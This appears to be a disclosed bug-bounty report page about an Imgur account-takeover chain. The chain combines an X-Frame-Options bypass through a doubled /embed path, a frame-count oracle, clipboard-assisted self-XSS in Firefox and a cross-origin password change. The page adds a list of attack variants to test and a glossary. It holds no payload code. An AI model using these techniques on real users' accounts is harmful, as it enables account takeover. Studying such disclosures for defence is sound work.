The researcher found that appending a second /embed produces a page on the main domain that can be framed, but states they are not sure how X-Frame-Options is really acting on the application. The researcher does not determine how X-Frame-Options is applied across the application, so the exact reason the doubled path escapes it is not established in the report.

The self-XSS is DOM-based and specific to the upload beta page in Firefox. The researcher states they do not know exactly where the XSS happens, only that the payload above bypasses the rule in place. The chain works because the clipboard holds the payload while the victim is guided through a drag and a paste, and because the frame count distinguishes the upload beta page from other pages.

Impact

Account takeover: the attacker can perform malicious actions in the victim's account. This requires the victim to allow clipboard access on the attacker page and, for the takeover itself, to have a saved password in Firefox. Without a saved password, the XSS can still be triggered.

Fix

The report does not describe a fix or a change made by the vendor.

Variants to test

  • Append a duplicate path segment to other embed or share routes and check whether the resulting page can be framed. A positive result is an iframe that renders the main domain page instead of being blocked by X-Frame-Options.
  • Compare frame counts between pages of a target to find pages that stand out. A positive result is a page whose frame count differs reliably from the rest and can be used as a navigation oracle.
  • Test self-XSS payloads with nested or doubled tokens such as the one in this report against input filters in different browsers. A positive result is script execution in the origin after a paste.
  • Check whether clipboard writes can be combined with drag and paste interactions on framed pages. A positive result is the victim pasting attacker-controlled text into a field of the framed origin.
  • Look for password settings or profile forms that accept a full form body and can be submitted cross-origin with credentials. A positive result is a state change on the victim account from an attacker-controlled page.

Glossary

  • Iframe: a box inside a web page that displays another web page.
  • Framing: loading a site inside an iframe.
  • Clickjacking: tricking a visitor into clicking something on a framed site by overlaying the attacker's own elements.
  • X-Frame-Options: a response header that tells the browser whether a page may be shown in an iframe.
  • Header: a small piece of information a web server sends with a page or a request, separate from the page content.
  • XSS (cross-site scripting): getting a website to run JavaScript the site's authors did not intend.
  • Self-XSS: an XSS that only fires if the victim pastes the malicious text themselves.
  • DOM: the in-memory tree of elements the browser builds from a page's HTML.
  • DOM-based: a flaw that lives in the DOM and is handled by JavaScript in the browser rather than on the server.
  • JavaScript: the programming language browsers run to make pages interactive.
  • Clipboard API: the browser feature, navigator.clipboard, that lets a page read and write the copy-and-paste buffer, with the user's permission.
  • Account takeover: gaining control of someone else's account, here by changing its email and password.
  • Endpoint: a specific address on a server that accepts requests, such as a page or a form handler.
  • Subdomain: a prefix on a domain name, like user. in user.imgur.com, that can be a separate site.
  • Oracle: any observable signal that lets an attacker learn something they cannot read directly, such as a frame count.
  • Sandbox: a restriction the browser can place on a frame to limit what it may do; removing the attribute lifts it.
  • Form: the part of a page that collects values in fields and submits them to a server.
  • Input: a single field in a form, such as a text box.
  • Cookie: a small piece of data the browser stores for a site and sends back with requests, used to identify a logged-in user.
  • fetch: the browser's built-in JavaScript function for making HTTP requests.
  • credentials: "include": an option telling the browser to attach the site's cookies to a request.
  • POST: an HTTP method used to submit data, as opposed to GET which is used to retrieve a page.
  • URL encoding: writing special characters as % codes, such as %40 for @, so they can travel safely in a URL or form body.
  • User-Agent: the string a browser sends to identify itself and its version.
  • Referrer: the address of the page a request is claimed to come from.
  • CORS: the browser rules for requests that go from one site's page to another site.
  • setInterval / setTimeout: JavaScript functions that run code repeatedly every so many milliseconds, or once after a delay.
  • onload, onmessage, onpaste, ondragend: event handlers, functions that run when the browser reports that event on the page.
  • console.log: a JavaScript function that prints a value to the browser's developer console for debugging.

More by keer0k

View all

5 more disclosed reports, best first.

More from Imgur

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.